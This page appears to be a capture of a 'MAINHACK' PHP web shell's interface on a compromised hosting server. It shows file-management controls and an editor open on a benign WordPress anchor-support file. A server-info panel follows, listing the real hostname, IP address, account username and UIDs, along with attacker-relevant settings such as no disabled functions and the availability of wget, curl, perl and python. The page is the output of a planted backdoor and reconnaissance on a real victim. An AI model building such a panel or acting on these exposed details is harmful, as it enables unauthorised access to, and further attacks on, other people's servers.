[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: anchor.php
<?php /** * Anchor block support flag. * * @package WordPress * @since 7.0.0 */ /** * Registers the anchor block attribute for block types that support it. * * @since 7.0.0 * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_anchor_support( WP_Block_Type $block_type ) { if ( ! block_has_support( $block_type, array( 'anchor' ) ) ) { return; } if ( ! isset( $block_type->attributes ) ) { $block_type->attributes = array(); } if ( ! array_key_exists( 'anchor', $block_type->attributes ) ) { $block_type->attributes['anchor'] = array( 'type' => 'string', ); } } /** * Add the anchor id to the output. * * @since 7.0.0 * @access private * * @param WP_Block_Type $block_type Block Type. * @param array<string, mixed> $block_attributes Block attributes. * @return array<string, string> Attributes with block anchor id. */ function wp_apply_anchor_support( WP_Block_Type $block_type, array $block_attributes ): array { if ( empty( $block_attributes ) ) { return array(); } if ( ! block_has_support( $block_type, array( 'anchor' ) ) ) { return array(); } if ( ! isset( $block_attributes['anchor'] ) || ! is_string( $block_attributes['anchor'] ) || '' === $block_attributes['anchor'] ) { return array(); } return array( 'id' => $block_attributes['anchor'] ); } // Register the block support. WP_Block_Supports::get_instance()->register( 'anchor', array( 'register_attribute' => 'wp_register_anchor_support', 'apply' => 'wp_apply_anchor_support', ) );
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium171.web-hosting.com
Server IP: 162.0.209.115
PHP Version: 8.0.30
Server Software: LiteSpeed
System: Linux premium171.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 71.44 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: aircyknj
User ID (UID): 2056
Group ID (GID): 2052
Script Owner UID: 2056
Current Dir Owner: 2056